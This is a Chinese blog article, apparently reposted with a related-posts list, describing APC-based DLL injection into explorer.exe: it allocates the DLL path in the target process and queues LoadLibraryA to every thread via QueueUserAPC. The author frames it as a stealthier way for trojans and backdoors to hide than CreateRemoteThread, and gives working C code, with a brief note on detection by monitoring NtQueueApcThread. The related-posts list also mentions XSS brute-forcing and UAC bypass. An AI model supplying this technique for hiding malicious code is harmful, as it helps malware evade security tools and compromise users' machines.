暴力”注入Explorer

                     pjf(jfpan20000@sina.com)

        向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,

如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也

举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上

“我是贼”一样。

    用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行

为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加

载自己的dll。

    首先提到的就是一个API:QueueUserAPC



    DWORD QueueUserAPC(

      PAPCFUNC pfnAPC,  // APC function

      HANDLE hThread,   // handle to thread

      ULONG_PTR dwData  // APC function parameter

    ;



    大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利

用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc

顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,

ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了

你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态

程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。

    实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为

TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject

使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的

),最简单的例子,目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执

行了。

    比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不

优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:



    ......

    DWORD ret;

    char *DllName = "c://MyDll.dll";

    int len = strlen(DllName) + 1;

    PVOID param = VirtualAllocEx(hProcess, NULL, len,

                                 MEM_COMMIT | MEM_TOP_DOWN,

                                 PAGE_READWRITE);

    if (param != NULL)

    {

        if (WriteProcessMemory(hProcess, param,

                               (LPVOID)DllName, len, &ret))

        {

            for (DWORD p = 0; p < NumberOfThreads; p ++)

            {

                hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);

                if (hThread != 0)

                {

                    InjectDll(hProcess, hThread, (DWORD)param);

                    CloseHandle(hThread);

                }

            }

    }

    ......

    

    其中InjectDll:

    void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)

    {

        QueueUserAPC(

            (PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA", 

            hThread, 

            (DWORD)param

            ;

    }

    

    LoadLibraryA被调用后即将你的DLL加载入目标进程Explorer,运行是在目标进程的某

个线程环境中,一般你的DLL可以这时创建自己的线程。

    这样,整个过程虽然有些暴力(原因很明显,比如原本UserApcPending为TRUE的线程

被弄成了FALSE等等),并且仅是一次性插入,缺陷是明显的,不过插入过程的确更为隐蔽。



    针对使用这种的“无耻”方法的程序,检/监测程序就需要增加一些判断,比如对

NtQueueApcThread的合理监测等等。



有时候,那些最古老的木马伪装的好反而不容易被杀

暴力”注入Explorer的更多相关文章

  1. BruteXSS:XSS暴力破解神器

    ×01 BruteXSS BruteXSS是一个非常强大和快速的跨站点脚本暴力注入.它用于暴力注入一个参数.该BruteXSS从指定的词库加载多种有效载荷进行注入并且使用指定的载荷和扫描检查这些参数很 ...

  2. 安全之路 —— 无DLL文件实现远程线程注入

    简介         在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着 ...

  3. Dll注入:x86/X64 SetThreadContext 注入

    在<Windows核心编程>第七章说到了线程优先级等知识,其中谈到了ThreadContext线程上下背景文. 其中介绍了GetThreadContext函数来查看线程内核对象的内部,并获 ...

  4. 基于EasyHook实现监控explorer资源管理器文件复制、删除、剪切等操作

    一.前言 最近自己在研究一个项目,需要实现对explorer资源管理器文件操作的监控功能,网上找到一些通过C++实现Hook explorer文件操作的方法,由于本人习惯用.NET开发程序,加之C/C ...

  5. access注入篇+sqlmap

    access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了.先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构. 下面,开始说下 ...

  6. 安全之路 —— 无DLL文件实现远程进程注入

    简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那 ...

  7. 通过WriteProcessMemory改写进程的内存

    http://www.cnblogs.com/feiyucq/archive/2009/10/21/1587628.html 以PROCESS_ALL_ACCESS权限打开进程以后既能够使用ReadP ...

  8. UAC绕过思路(未完)

    ---恢复内容开始--- What is UAC?

  9. (汉化改进作品)BruteXSS:Xss漏洞扫描脚本

    今天给大家进行汉化改进的事一款脚本工具:BruteXSS,这款脚本能自动进行插入XSS,而且可以自定义攻击载荷. 该脚本也同时提供包含了一些绕过各种WAF(Web应用防护系统)的语句.   0×01简 ...

随机推荐

  1. js获取地址栏的参数

    //获取url参数 window.getParam = function(url, id) { url = url+ ""; var regstr = "/(\\?|\\ ...

  2. 【NOIP2019模拟2019.9.4】B(期望的线性性)

    题目描述: \(1<=n,ai<=5*10^5\) 题解: 我是弱智我不会期望线性. 设\(E(a[i])\)表示第i个期望被减的个数. \(E(a[1])=a[1]\) 不难发现\(E( ...

  3. CTSC2019

    (upd:随机立方体AC) 太菜了只会部分分.以后慢慢补坑吧…… 随机立方体: 30分: 正常人都能想到的的转移状态(我的确是弱智),从大往小填数,记录有多少个极大值点和三个方向上各占了多少.转移可以 ...

  4. AcWing 197. 阶乘分解 (筛法)打卡

    给定整数 N ,试把阶乘 N! 分解质因数,按照算术基本定理的形式输出分解结果中的 pipi 和 cici 即可. 输入格式 一个整数N. 输出格式 N! 分解质因数后的结果,共若干行,每行一对pi, ...

  5. NX二次开发-Ufun API Example

    UF公共类型 UF_begin_timer计时函数 https://www.cnblogs.com/nxopen2018/p/10957135.html UF_end_timer计时函数 https: ...

  6. Ubuntu 没有 无线网 RTL8821ce 8111 8186

    1.将ubuntu的linux内核版本更改到4.14(其他版本不兼容这个无线网卡的驱动) 1.1 找到内核版本 #到 Ubuntu网站http://kernel.ubuntu.com/~kernel- ...

  7. font的基本知识

    字体 你无法预料到用户是否可以访问样式表里定义的字体.所以在设置字体时,在属性后指定一个替代的字体列表是个不错的主意. 在这个字体列表的最后加上系统字体中的一个,如:serif,sans-serif, ...

  8. sed use case: Filter without editing

    if we want to filter with sed pattern and just print the filtered lines without any further editing ...

  9. 拾遗:Vim 批量删除匹配到的行

    删除包含特定字符的行 g/pattern/d (全局删除匹配行) ,5g/pattern/d (删除第1-5行里的匹配行) 删除不包含指定字符的行 v/pattern/d g!/pattern/d ( ...

  10. 【node】---token的原理及使用---【alley】

    一.登陆的验证流程 当用户请求登录的时候,如果没有问题,我们在服务端生成一条记录,这个记录里可以说明一下登录的用户是谁,然后把这条记录的 ID 号发送给客户端,客户端收到以后把这个 ID 号存储在 C ...